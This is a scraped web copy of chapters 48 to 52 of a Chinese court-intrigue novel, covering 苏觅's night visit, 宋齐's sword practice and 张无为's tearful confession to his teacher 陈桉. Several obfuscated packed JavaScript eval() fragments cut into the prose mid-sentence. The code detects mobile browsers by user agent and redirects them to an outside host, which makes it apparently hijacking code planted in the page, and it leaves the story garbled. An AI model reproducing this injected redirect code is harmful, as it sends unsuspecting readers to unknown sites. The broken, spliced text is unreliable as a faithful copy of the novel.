l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431930|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她知道你的行踪,也了解吕家的案子,”晏泠音喃喃,“她很可能就在朝局之中。” “所以我必须走。”苏觅搁下铰剪时发出叮当轻响,“她在暗,我在明,如果不想被她算计第三次,我得先离开京城。” 晏泠音又抿了口茶,冰凉的茶水让她镇定下来。 “你利用了安贵妃。” “若我不这么做,就无法瞒过旁人。”苏觅没有否认,“除了夫人,还有晏眆,还有殿下的父亲,他们可以用各种理由杀我。照现在的战局来看,梁国不会容忍我太久了。” “我听到一些传言,”烛花又炸了一声,但两人都没去注意它,晏泠音晃了晃手里的茶盏,沉吟道,“一个说苏公子心怀怨愤,想要毒害陛下,让安贵妃受了牵累,另一个说苏公子秽乱宫闱,对嫔妃不敬,这才被执下狱。不知哪一个是真的?” “殿下信哪个,哪个就是真的。”苏觅眼角又挑了起来,声音很懒,“我多说无益。” “苏公子敢作敢当,”晏泠音不看他耍无赖,“此事我只问一遍。” 烛光跃动在他的眼睫上,苏觅在她的注视下敛了眸,脸上没有表情:“娘娘让我尽早离京。” 晏泠音微怔。 “她应当是听到了风声,知道有人要对我下手,”苏觅口气平淡,像在谈论不关己身的琐事,“那日她召我入宫,遣退了宫女,让我替她弹一首《秋夜长》。” 这是宛京的民谣,晏泠音小时曾在宫宴上听过。前朝一位无名的歌者给它填了词,唱的是思妇怀人。 秋夜长,殊未央,月明白露澄清光…… 君在天一方。 茶盏里的水因颤动而生出涟漪,晏泠音低头看着那漾开的波纹,一时只觉得人世荒唐。除了温敏之外,安在水是她最熟悉的一位嫔妃,精明干练,能把三宫六院的繁杂事务都处理得井井有条。 她为什么要飞蛾扑火? “我不知流言是怎么传的,”苏觅正色道,“但除了这首曲子,其他什么也没有,贵妃娘娘是清白的。” 他难得收起那种轻佻的神色,诚恳的语气里有孩童般的天真,让人几乎舍不得怀疑。可轻微的不安却再度升起,晏泠音不得不承认,她不敢赌苏觅的真心。 他的话能信多少? 不只是关于安贵妃的这些,还有他今夜说过的每一句,甚至包括那个一触即收的吻。 沉默间,院墙边传来了走动声,是宋齐回来了。此时吹灭烛火反而惹人怀疑,晏泠音走去窗边,隔着窗扇唤了一句:“成均。” 苏觅似笑非笑地看着她。 她要留苏觅在身边,就得给他一个合适的身份,这样下去,他迟早会和宋齐碰面,但今夜不是个好时机。 “殿下还没歇息,”一阵窸窣声后,宋齐的声音在窗台下响起,带了点疲倦,“是被炮声吵醒了吗?” 这个解释不赖,晏泠音刚想顺着他的话说下去,忽然顿了一下。她转头望向苏觅,看见他也似有所觉,无声地朝她做了个口型。 血。 他们都闻到了窗外的血腥气。 49. 疯子 晏泠音的嗅觉很灵,她似乎对气味有着天生的敏感,但要隔着这么远还能嗅到血气,窗外之人受的伤绝对不轻。可宋齐说话的口吻还算镇定,又不像是受了重伤的样子。 更可能的,是他身上沾了太多旁人的血。 “是,此事明日再谈。”晏泠音本已搭上窗扇的手又垂了下来,“成均近来辛苦,早些休息罢。” 她转过身时,猝不及防地对上了苏觅的视线。他不知何时站得离她那样近,温热的鼻息落在她的额际,就那样垂眼看着她。 宋齐在窗外行过了礼。他还没走远,以他的耳力,晏泠音不可能在这时和苏觅说话。她后退半步想要拉远距离,同时微挑了眉,露出探询的神色。 苏觅却偏过头又吻了上来。 疯子。晏泠音第一反应便是伸手去推他,但她不敢用太大力气,躲避时也要避免撞上旁边的烛台。下一瞬,她被迫仰头靠在窗扇上,发出极轻的砰咚声响。外面宋齐的脚步似乎停顿了一下,晏泠音停了动作,气息微乱,怒目瞪着苏觅。 她在两人的唇分开的间隙里,无声地用口形问他:你在…… 苏觅俯身,吻得更加用力。 屋外风起,屋内灯烛摇曳,他们的影子在墙壁上暧昧重叠。晏泠音抿紧了唇,苏觅就用舌尖一点点濡湿她的唇缝,他的手一直按在她的发间。他吻得既细致又耐心,仔细地感知着她身体的变化,又在她软下来的那一刻趁虚而入。 宋齐已经走远了,再听不到他的脚步声,晏泠音耳边只有被放大的喘息和心跳,分不清是苏觅的,还是她自己的。她在这个过于漫长的吻里红了眼眶,在近于窒息的痛苦中攫取对方的气息,像一尾缺水的鱼。 直到她猛然用力把苏觅推开,他踉跄了一下,又侧过身回望向她。他们的气息都有些不稳,明明没有人失控——晏泠音确定苏觅和她一样清醒,但就在方才,确实有人动了情。 哪怕只是一瞬。 她的唇被吮吸得晶亮而微肿,苏觅的嘴角破了,他轻舔了一下那处伤口,舌尖因之而变得殷红。 “出去。”晏泠音懒得多说,冷漠地命令他。唇上的痒意让她感到陌生,她伸手揉了一下唇角,目光仍然落在苏觅身上。 苏觅抱臂倚在烛台旁,悠悠道:“殿下,我不明白。” 晏泠音等着他编。 “为什么不问?”苏觅语气诚挚,像是真的在好奇,“问他去了哪里,做了什么,宋二毕竟是殿下的近卫,如果他惹了事,全都会算在殿下身上。” “那就算罢,”晏泠音的声音还有点哑,“我担得起。” 苏觅朝她走近了一步,晏泠音跟着退后一步,用目光警告他停下。此刻她身周都是似有若无的药气,她不喜欢。 她在生气。 “我知道,殿下自有安排。”苏觅又走近了半步,对她的目光视若无睹,同时放柔了声音,“我只是……有些担心殿下。” 这人得了便宜就卖乖,偏偏还真卖得像那么回事。晏泠音的气没消,只嗯了一声,重复了一遍:“出去。” “今日之事还没谈完,”苏觅忽然摆正了脸色,“我在蔚州等候,是有要事和殿下相商,正与宋家兄弟脱不开关系。殿下也知道,他们都是蔚州人,出生在邨县。” 他现在想起正事了。晏泠音耐着性子问他:“那又如何?” 苏觅却反问道:“殿下对宋家了解多少?” 那双狐狸眼笑盈盈的,看得她不动声色地磨了磨牙:“还请公子赐教。” “好啊。”苏觅笑得更加灿烂,倒是没再往她身边靠,“先说宋二,他有个名号,剑骨吹魂宋成均。刺客出身,父祖都受雇于蔚州白氏,在白家衰败后才入了伍。他的剑叫落梅,那对耳环叫度影,殿下,”他见晏泠音神色淡淡,并不惊讶,了然道,“应当已经知道了罢。” 剑骨吹魂,宋齐最称手的武器不是剑,而是那对他从不摘下的耳环。它音质特殊,只要宋齐愿意,就能用它的声音摄人魂魄,神不知鬼不觉地将人迷倒。只是他的耳力本就高于常人,使用度影会有风险,稍不留神便会反伤自身。 “至于宋大嘛,”苏觅顿了顿,故意卖了个关子,“他露面不多,除了战时,平日很少留在泾州,他比较难查。” 晏泠音面无表情地看着他。 “这就是殿下用得上我的地方了,”苏觅眯眼时更像只狐狸,边检点着自己的战绩,边向她邀功,“我在宛京时用弦歌楼盯过崔家,意外地查到了一个叫宋贤的人。袖刃浮白宋成言,他不带兵的时候,是个商人。” 晏泠音此时才真有些惊讶:“商人?” 苏觅点了点头:“白氏是贩茶起家的,后来家产虽被抄没,但还是保下了部分产业。那些产业大多落到了宋贤手里,他是聪明人,明白生意要做得长久,就得在地方和宛京都打点好关系。” “所以,”晏泠音沉吟道,“他找到了崔家。” 苏觅笑得有些耐人寻味:“清河崔氏爱惜羽毛,宋贤这条路一开始走得并不顺利,最后促成此事的,是崔氏旁支所出的庶子,殿下或许也听过他的名字。” 晏泠音迅速反应过来:“崔含章。” “聪明人对聪明人呐,”苏觅真心实意地感叹,“崔氏的门庭没落已成事实,崔含章要振兴门楣,就得另谋出路。不论在哪儿,有银子总比没银子方便办事,殿下也是清楚的。” 晏泠音隐约听出了他的意思。她没应声,等着苏觅自己把话挑明。 “宋贤是做生意的好手,他讲诚信,讲取财有道,倒也算得上是个君子。”苏觅跟着话锋一转,“但崔含章此人藏得很深,他和谁都不深交,平日里不坐轿,不宴宾朋,为人相当低调。他今岁也二十五六了,却没有娶妻的意思。殷禹曾想过把女儿嫁给他,这是能让官运亨通的好事,但被崔含章婉言谢绝了。” 不求声名,不求权势,这样的人却在结交商贾,其用意绝不会只有谋财那么简单。苏觅在提醒她,北地与宛京实有千丝万缕的联系,她想厘清北地的乱线,就要提防远在宛京的操盘之人。 “宋家兄弟都在谢将军麾下,”晏泠音凝神思量,“宋贤走茶,将军不可能不知道。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431931|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“殿下可以说得更大胆些,”苏觅放低了声音,“将军需要银子。” 这件事在朝中人尽皆知。谢朗和谢初原一样厌烦繁文缛节,除非军情紧急,连战报都懒于递交。他们父子上疏只为一事,便是让朝廷拨银。可战事连年不断,消耗巨大,本就虚空的国库负担不起十万泾州兵。晏懿看重安漼之,让他主理户部这么多年,是因为他有真本事,推诿扯皮的能力在大梁无人能及。两位谢将军毕竟是武将,论心计,斗不过常年浸淫于官场的老尚书。 何况,谢朗有弱点,他不能对户部太过强硬。他虽然将轻骑队挂靠在了县尉司下,却也被迫谎报了规制。县尉司没有骑兵,战马和一应骑术装备的银子都得谢朗自己掏。战时器械磨损严重,银子更是水一样地花。这件事是能大做文章的,它被暂时压下,只是因为谢朗还在打仗,在用轻骑杀敌,可明眼人也都能看出,谢小将军迟早要为这队骑兵付出代价。 “近来茶走得不顺利,”苏觅转过头看着她,放缓了声音,“最大的阻碍便是山匪,里面有人盯上了宋贤。我猜宋二这次来蔚州,目的之一便是帮兄长清路。” “还有另一层阻碍。”晏泠音慢慢理清了思路,她说完这一句,却没有立刻往下接。至此,苏觅的意思已经很清楚了,他在等她的答案。 走茶最方便的是水路,但水上的税银也纳得狠,遇上严苛的官长,血本无归的不在少数。崔含章的力量到底有限,真正主管交通政令的,是工部的江予,江渊然的父亲。 苏觅想让她用江家。 晏泠音沉默了片刻:“山匪那里,公子可有什么看法?” “我的看法与先前别无二致。”苏觅答得自然,似乎并没在意话题的转换,“蔚州的情势复杂,殿下不宜久留,需尽早动身回泾州。” “那乐山呢?”晏泠音又想起了百花窟,想起了葛茵看她时陌生的目光,心中微动,“此地的流民呢?” 苏觅忽然安静下来,看了她很久。 “我会留下,”他开口时声音不大,但很清晰,“我既然来这里当了扫地仆,就没有想走。” 晏泠音怔了一下:“你……” “我说了会帮殿下找出叛徒,就一定会做到。”苏觅平静道,“再给我一点时间就好。” 短暂的静默里,只有灯花又噼啪炸开了一朵,一根白蜡眼见便要烧到尽头,苏觅却再度扬起了唇角。 “殿下舍不得吗?”他在昏暗的光线里笑得狡黠,“不会太久,等处理完蔚州的事,我就去寻殿下。” “也不必担心我,”他没头没脑地补了一句,不经意般舔了下唇角的伤口,“就当是……我给殿下的报偿。” 晏泠音心里那些隐微的惊讶和感动,被他这句话弄得踪影全无。她又恢复了面无表情的样子,和满面笑容的苏觅对视了片刻。 然后开始客客气气地赶人。 “时辰不早了,公子先回自己的房间歇息,此事还需商议。” 苏觅背过身时,浮在唇角的笑意已淡了下去。他的声音低哑而轻柔。 “明日见,殿下。” 50. 白冠 说是明日,其实已是今日了。晏泠音没睡上几个时辰,在半梦半醒间听见了凌厉的破空之声。 她唤了婢女打水来梳洗,随口问道:“外面是什么声音?” 婢女已经搁了水盆,候在一旁要替她拧帕子,晏泠音摆手示意不用,自己掬水洗了。她的唇还有些发肿,这事没法解释,她不能让旁人看到。 “是宋二公子,一早就起来了,在院里练剑呢。”婢女是张无为亲自挑选送来的,人机灵,见晏泠音不要她近身,便转了身去整理床铺,“殿下待会儿就见着了,可真是好看。” 她理完床铺,又走去窗边开窗透气,跟着便惊讶地叫了一声:“咦,怎么有枝花儿?” 花儿? 晏泠音侧头看了过去,只见一枝绯红的百日草正躺在窗台上,花瓣上还沾着新鲜的晨露。她替自己挽发的手顿了顿,直到婢女伸手去取时才淡淡开口:“放那儿罢。” 婢女瞥了眼她隐在阴影中的脸,乖巧地应下了。她端了水盆离开后,晏泠音才又望向了窗台。那抹红太过耀眼,想不注意都难,娇弱的花瓣在风中微微颤动,凝着泪水般的露珠,漂亮,且纯良无害。 想也知道是谁放的。晏泠音没有看第三眼,戴上幕篱出了门。 果真是宋齐在练剑。恣意的剑气扑面而来,在那一霎掀起了幕篱的白纱。晏泠音停了步,立在门边看着。院内的残花枯枝被剑气卷起,又在飞至空中的瞬间碎成齑粉。晨光明亮,映着在树影间踏叶疾行的青年。剑随意指,如虹贯日,他的唇边是毫不遮掩的张扬的笑,提着剑傲然回首时,连万里艳阳也骤然失色。 “好!”一套剑招使完,院门边紧跟着传来一声喝彩,“落梅剑是江南雪,果真名不虚传。今日得见此式,虽平生未到过江南,却也觉无憾了。” 竟然是张无为。他不知何时进了门,仍是那副道士打扮的闲散样子,边轻轻拍手边向里院走来。宋齐浑身是汗,先回首朝晏泠音行了礼,随即朗声应道:“张大人过奖了。我的修为到底不及师父,这把剑得由他来使,才算是一剑能动天下春。” 张无为拍了拍宋齐的肩,后者身子僵了一下,但很快便恢复如常。张无为随后也看见了晏泠音,上前见了礼,又笑着和她解释道:“我不会武,只爱看些谈武的杂书,遇上了就想胡乱说几句,倒是让殿下见笑。” 这是晏泠音第一次近距离地打量他。他长得不难看,眉眼干净,是个模样周正的郎君,道士的装扮更给他添了些出尘之气。但他的脸上有一道暗红的长疤斜贯而下,从眉尖一直没入鬓角,让他的神色即便在笑时也有些狰狞。 “我对武学才是一窍不通,”晏泠音的目光在那道疤痕上停留了片刻,“知州谦虚了。” 张无为的名字并不响亮。举世皆知,大将军冷霏覃喜好结交江湖人士,对各门各派的武功也了解颇多,但很少有人知道,张侍郎那个体弱不能习武的儿子,却是个实打实的武痴。放眼整个大梁,或许没有他认不出门派的侠客,也没有他叫不出名号的招式。冷霏覃只是胜在名气响亮,若论博学,唯有张无为敢称第一。 晏泠音不带魏收来,也是因为有这层顾虑。藏锋剑出山的消息还未外传,她不想在情势未明时就引起张无为注意。 “吓到殿下了罢。”明明隔着幕篱,但张无为还是留意到了她的目光,伸手抚上了耳侧的疤,似是在回忆旧事,“小时候贪玩跌了一跤,老师还特意替我求了膏药,可惜伤口太深,疤是去不掉了。” 那种深度的伤口,定然是撞到了极其锋利的东西。它离额角的要穴不到半寸,张无为能活着已是命大,但听他那云淡风轻的语气,像是并不在意自己的受伤,甚至在抚摸疤痕时,眼神里还带了几分……怀念。 可惜那些温柔的旧影只是一闪而过,待晏泠音想再看清些的时候,张无为已又换上了那副端庄客气的笑容。他没再继续方才的话题,转而朝晏泠音关切道:“昨夜有山匪滋事,殿下离得近,不知可有受到惊扰。” “我无事。”晏泠音谢过他的关心,“只是没想到,山匪手里竟然会有火药。” 宋齐收了剑立在她身后,院里的婢女们都懂事,远远地避在一旁,没有上前伺候。 “正要和殿下说这件事呢,”张无为叹了口气,那张白净的面孔上露出些无可奈何的神色,“我已邀了老师详谈,若殿下方便,可随我移步署中。” 晏泠音微微颔首。她跟着张无为绕过庭院,那些百日草就在她脚边摇曳着,开得无声却热烈。她嗅着那浅淡的香气,忽然开口道:“原来知州也是爱花之人,难怪会向往江南。这种花在南边开得好,知州把它移栽来北地,应当用了不少心思罢。” 张无为没有回头,甚至也没有偏过头去看一眼脚边的花草。他的背挺得很直,不紧不慢地往前又迈了一步,像是没听见她的话。 可下一刻,他却忽而轻笑了一声,那一笑让晏泠音陡然警觉,她的试探太过明显,张无为又不是会轻易上钩的人。她回头望了眼宋齐,见他的右手正搭在左肩上,几不可察地冲她摇了摇头。 张无为的声音在此刻响了起来。 “是用了些心思,”他的声音沉沉,其中竟带了些不似作伪的惆怅,“但我并非爱花之人,这种东西不能长久,总是要谢的。” * 陈桉已在署中。张无为待他恭敬,一进去便扶他坐下,又亲自替他斟好了茶。北地产的茶叫莫厘,是南方没有的味道,曾有豪富之家千金求购而不得,张无为给陈桉沏的是其中的上品。他知道陈桉好茶,不敢怠慢,特意去城外庸山舀回了甘冽泉水,又苦练了几日的点茶功夫。此刻见陈桉只抿了一口便搁下杯盏,不觉紧张起来。 “老师,”张无为没有坐,只垂首站在一旁,小心道,“茶不合口味吗?” 他已过了而立之年,在陈桉面前却仍是个诚惶诚恐的学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431932|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生。晏泠音觉得古怪。他同陈桉的相处方式似乎仍停留在十数年前,这未必是件好事。旧情会遮蔽掉许多东西,让陈桉看不见这个学生的变化——何况,张无为本就不想让他看见。 陈桉原本要说什么,等看到张无为那虔敬恳切的神色时,到嘴边的话又给咽了下去。他拨转了一下手中的茶盏,长叹了口气:“初明,坐下说话。” 他唤了张无为的旧名。张无为即刻应了,拉过椅子,却只敢坐上去半个身子。他仍以为是茶的问题,抬手想要招呼婢女:“老师喝不惯,我就让他们上别的……” “不是为这个。”陈桉摇头制止了,又是一声长叹,“初明,蔚州怎么会弄成……弄成今天这个样子?” 他的口气里责备明显,这下张无为再也坐不住了。他站起身来,就想跪陈桉,但那双手还没从桌案上抽回,便被陈桉一把握住了。他僵在那里,坐也不是,站也不是,声音已发了颤:“老师……” “我不是怪你,”陈桉把他按回椅上,紧盯着他的眼睛,“你是我的学生,我知道你不是他们说的那种糊涂人,但蔚州的事,乐山的事,你要清清楚楚,一字不错地告诉我。” 他说得情真意切,张无为听着红了眼,一咬牙,还是离席跪下了。他又叫了一声老师,随即砰的磕了一个头,又仰着磕红的额头跪直了身。 “学生不敢欺瞒老师,前两日不说,是怕老师舟车劳顿,到了蔚州还要替学生操心,若引得老师愁虑,学生万死莫赎。今日老师既然问了,那我便从头说起,只盼老师千万不要动气,都是……学生的错。” 张无为又磕了一个头,额上已隐隐肿胀起来,但他却似毫无所觉,跪直后脊背笔挺,用的还是陈桉曾教过的板正跪姿。 “当年小姐下葬之后……” 这件事私密,晏泠音拿不定自己是否需要回避,但陈桉没有发话。他似乎完全忘记了晏泠音的存在,只是在同自己的学生叙着旧,一如往常地耐心教导着他。 张无为也像是并没留意晏泠音,语词恳切:“我送老师去京郊的宅子静养,又回张家处理了一些杂事。当时我外放的文书已经下来了,但白冠素履不入公堂,因而我并未赴任……” “白冠素履?”一直静听着的陈桉忽然打断了他,“你在替洵儿守丧?” 虽然女儿已病故许久,但陈桉在提到她的小名时,语调仍然变了。张无为的身子晃了一下,依旧跪得端直,嗓音却比方才更沉:“是。我与小姐虽无血亲,却情同兄妹,她既遭逢不幸,我没有独自逍遥的道理。” 陈桉的目光复杂,那里面有心痛,也有惊讶,还带了一点轻微的怜惜。 “但我也没办法留在京中,”张无为继续说了下去,笑得有点苦涩,“老师知道,我的性格如此,遇到难事便想着逃避,远不及小姐的坚强果决。于是我决意出京云游,可就在不久之后,”他顿了顿,深吸了口气,“我遇上了□□。” 51. 自忏 张无为出京和苏觅入京是在同一年,饥荒,疫病,在承观十年的梁国遍地皆是。张无为没有到过江南,因为那年的江南饿死了三万人,流民从历来水土丰美的宝地乱哄哄地向外涌,他被裹挟在饥饿的潮水里,像一叶飘摇的浮萍。 少数未遭灾的州县承载了太多难民,临时搭建的棚屋堵塞了河渠,随后爆发了瘟疫。张无为染了病,他躺在潮湿阴冷的草席上奄奄一息时,觉得就这么了结也无妨。他一向逆来顺受,这一回是天要他死,他走得不冤。 他还穿着太子妃下葬时的那身素衣。 “那一天在乱城里,我本已合上了眼,但就在要睡过去的时候,我恍惚看见了小姐。”张无为垂了头,身子又轻晃了一下,“她和我说,别睡呀,你的路还长。之前我每回病重,小姐都是这样说的,她心肠好,不忍心看人受苦,所以我得活,我不能让她担心。” 陈桉抬手按住了眼角,没有吭声。 在鬼门关前走了一遭,让张无为似乎想清了一些事情。承观十一年,他回京祭拜故人的坟冢,特意避开了陈桉,却意外地遇到了安漼之。他们二人不算毫无交情,张无为中进士的卷子就是安漼之批的,安漼之赏识他的才华,在他落魄离京时愿意出金相助,是他的贵人。 但张无为没有想到,安漼之会想起用他。 持续的饥荒让梁国陷入了萧条,民心需要安抚,州县需要重建。安漼之知道他这一年的漂泊,朝廷亟需像他这样熟悉地方灾情的人,去把赈灾的款项落到实处。 况且,张无为有他的优势。他虽然从小寄人篱下,习惯了谦恭顺从,但这种脾性也能让他对许多事都淡然处之,不会贪求什么。尤其是在他珍视之人去世以后,他浑浑噩噩,心如木石,对世事既无留恋,更无畏惧。 旁人不敢去的地方,他敢。旁人不敢接的烂摊子,他拿到手里时,眼睛都不会眨一下。 安漼之就是看中了他这一点。他派张无为去了当时灾情最为严重的随州,让他协理赈灾之事。一年后杜慎带头上书,要求彻查官员贪腐,直接在朝中掀起了一轮腥风血雨。张无为是幸运地存活下来的那一个,他因勤恳能干而被升了官,又一年一年、踏踏实实地往上爬。 也是在那一回,杜慎得罪了不少人,许多怨仇直到他死后都未能消解。但他仍然赢了,其中一个原因就是安漼之。承观十二年的朝堂上,他们仍然并肩而站,在漫天的攻讦和迫害中为彼此挡刀,互为利剑,也互为铜墙。 而杜慎相信安漼之,也是由于张无为做得太漂亮了。他是安漼之保举出去的人,凡经他手的账目无不清清楚楚。在当时的情势下,这么做不仅要有能力,更要有胆魄。 可是此刻,晏泠音在张无为的眼中看不见胆魄。她那样仔细地打量着他,不放过他脸上每一处细微的表情,但她惊觉张无为是软弱的,他的软弱刻印在他过早出现的皱纹里,那红肿的额头上载着无能为力的痛苦。 她对这种痛苦感同身受。 “我知道我不能辜负小姐,她救了我,不是让我白活的。所以我答应了安大人,尽我所能地去核查账目。那两年我下过狱,受过杖刑,但我从没后悔。小姐在看着,见我救了人,她应当也欢喜。” 张无为默了一瞬,头垂得更低了,语气里满是羞惭:“但我还是想得太简单,我以为只要我立身持正,不怕辛苦,便能为民做事,和贪官污吏们抗争。可承观十四年时,我被调到了青州,递上去的文书未至御前便被扣下,那时我才看明白了,我哪有什么力量呢?旁人不杀我,只是因为有安大人在,但青州……是安大人的老家啊。” 他眼神迷离,喃喃重复了一遍:“我又有什么力量呢?” 青州是安氏的天下,张无为在那里翻不起一点水浪。安漼之护了他两年,现在到他回报的时候了。他只能替安氏铲除异己,除此之外,再不能僭越半分。 室内一片寂静,只有煮沸的茶壶在嘟嘟冒着水汽。水沫漫了出来,在触到炉火时嗤的一声化成了白烟。没人开口,宋齐做主去挪开了茶壶,回头时,张无为已朝着陈桉伏地而拜。 “我想过要走的,可那时已是骑虎难下。我记账用的笔还是小姐赠的,流徙的这几年,我一直带在身边,想着以后也要同它葬在一起。但在青州的时候,我……我把它折断了。” 张无为的眼泪顺着脸颊滑落,砸在陈桉的脚边,他哽咽着,悔恨难言:“我有意不给老师去信,又改了名字,和张家一刀两断,就是担心会出现这种事。我是混账东西,对不起老师,对不起小姐。” 男子的呜咽声让人心中酸楚,陈桉的呼吸有些沉重,连宋齐都移开目光,摇着头轻叹了口气,只有晏泠音仍安静地坐在那里,搁在膝上的手也没有动过一下。她想,她确是冷漠之人,在这个自忏的故事里听出了自我哀怜,和自我掩饰。 与此同时,张无为伏地的手无声地握成了拳。 “但我做了两本账簿,”他低声道,“我把它藏起来了。” 那是断笔给他的最后的勇气,可惜他没能带着它走出青州。近些年的天灾多得令人惊惧,像是天公的警示,亦或惩戒。在张无为被调往更北的州府前,青州遭逢地震,他的居所塌了,自己也险些和账簿一起被活埋在砖石之下。 他虽然再一次死里逃生,却不再怀抱曾经的志向了。他早就坦言过,他是认命之人。 “我自知已行差踏错,”张无为的声音闷在胸口,“但还想着在小处做些实事,稍补罪愆。当时蔚州的匪乱已经冒头,前任知州被杀,没人肯来这里。于是我想,那就我来好了。” 他仰头对上陈桉的目光,语气里似有恳求:“虽然改变不了蔚州的乱象,但无论如何,有官长总比没官长要好。” 当着晏泠音的面,有些话张无为不能说,陈桉也不能提,但晏泠音心知肚明。没有人肯来蔚州,匪乱只是原因之一,更要命的是州府收不到赋税,年年都会被朝廷问责。百姓放着好好的田不种,却跑上山去落草为寇,何苦呢?还不是因为赋敛太重,只能弃田而逃吗?天灾是一道导火索,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431933|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后的矛盾早在数十年前便已埋下祸根。蔚州烂得彻底,区区一个张无为,是治不好它的。 或许不只是蔚州。 晏泠音又察觉到了那种无力的痛苦,她在这种时候最能理解张无为。当时的蔚州确实是一滩烂泥,要重建州府,安顿流民,就必须和乐山匪处好关系。不夸张地说,半个蔚州是由山匪撑起来的,他们横行霸道,捞银占粮,吸着蔚州的血,可蔚州也寄生在他们身上。她曾问过葛茵,蔚州为何不向朝廷请兵剿匪,葛茵答,因为张无为不敢。 不是不敢,是他不能。 隔着幕篱的白纱,晏泠音意识到张无为在看她。他的余光落在她身上,似乎觉得她既可笑又可怜。朝廷的使者能带来什么?他无声地质问着。剿灭匪寇,民生就会改善吗?真的不会更糟?难道那些为寇者,不是活生生的百姓,活生生的人? 她想开口,却在看见陈桉目光的那一刻抿住了唇。 张无为还在继续。 “蔚州虽乱,却并无冻饿至死的流民,”他语声哀婉,“学生不是在替自己辩解,但……” “初明,”陈桉忽然抬手,抚了一下张无为的发顶,“今日就议到这里罢。昨夜被炸开的城墙还要补砌,你身上事多,担子也重,我不该这么耽搁你。” 这一举动出人意料,连张无为也愣住了。他在那久违的亲昵触碰下僵了身子,眼中又泛出了泪花。 “老师若是心里难受,就骂学生!”他咚咚地磕着地面,像是不知疼痛,“打也好骂也罢,千万不要压在心底,是学生辜负了老师昔日的教诲,学生该死!” 陈桉站起了身。他年纪大了,今日又坐了许久,一动之下,浑身骨骼都在吱嘎作响,疼得他微皱了眉。可他俯身扶起张无为时,神色又是那样和善:“你是好孩子,初明。” 他抚了下张无为肿胀的额头,怜惜道:“我这趟来访,怕是给你添麻烦了。你先回去罢,好好抹点消肿的药,我再同殿下商议片刻,过两日就动身回泾州。” 宋齐的眉一下子皱了起来,晏泠音冲他无声地做了个手势,要他别开口。 张无为受宠若惊,又不禁惭愧道:“我说这些话,不是要赶老师走,老师……” 陈桉轻点了下头:“你有难处,我明白。” 等张无为红着眼出了门后——他频频回首,像是仍在惭愧——陈桉才扶着桌案,慢慢坐下了。他似乎觉得穿堂而过的风有些冷,让宋齐去关了门,又阖了窗扇。婢女们早在议事前便被遣走了,此刻的屋内,只有陈桉、宋齐和晏泠音三个人。 宋齐又看到了晏泠音的手势。他侧耳听了一阵,低声道:“屋顶上、门窗边都没人,五丈之外有两个侍卫,声音放轻些,他们听不到。” 晏泠音这才望向陈桉,唤了一句:“宣抚……” 却听咔嚓一声,茶盏直接在陈桉手中碎成了数片,将他的手扎得鲜血直流。 “好啊,”他看着染血的瓷片,忽然笑出了声,边笑边咳嗽着,“我教出来的好学生!” 52. 叩门 晏泠音和宋齐回府时,天色已暗了下来。马车停在宅院门口,宋齐替晏泠音打了帘子,站在一边欲言又止。她知道他有话要说,没急着问,从车上跃下后,先将手里的东西抛给了他。 四周黑沉沉的,但宋齐听声辨位,接得很稳。 “这是,”他迟疑地掂了掂那只瓷瓶,又拔了木塞,在瓶口扇着轻嗅了两下,“药?” “从宛京带来的金疮药,我平日用不上,放在身边也麻烦,”晏泠音轻声解释,“成均替我保管罢。” 那是她离京前,特意向季问陶求了以备不测的。宋齐一整天都和没事人一样,但晏泠音记得张无为拍他的那一下。若不是身上有伤,凭张无为的力气,还不至于让宋齐变色。 “殿下,”宋齐握紧了瓷瓶,目光有些复杂,“我今夜仍要出府。” 晏泠音点了点头,并不惊讶:“那得小心些,他们已经猜到了是你。” 两人没有进去,只压低了声音在门外交谈,因为府中实在有太多耳目。宋齐还要说什么,忽然凝神道:“有人来了。” 他们止了话头,听门内拖沓的脚步声由远及近,随即吱嘎一声,大门被推开了。柔和的烛光流泻出来,在门前的灰石上晕开了一片暖色,也映照出了男子佝偻的身影。苏觅又戴上了人皮面具,神情僵硬,目光从宋齐握着瓷瓶的手,缓缓移到了晏泠音身上。 “主子回来了,”他的嗓音依旧低哑,不辨喜怒,“那就进门罢。” 宋齐狐疑地瞥了他一眼,但苏觅的装扮并无破绽。他就像是个脾气古怪、性格刻板的老仆,规规矩矩地守在门边,准备在他们进门后就给大门落锁。 或许是他想多了。宋齐跟着晏泠音进去,在经过苏觅身前时,脚下忽然一顿。等关门声和落锁声都已消失,他才快走两步赶上晏泠音,低声道:“那老儿有些奇怪。” 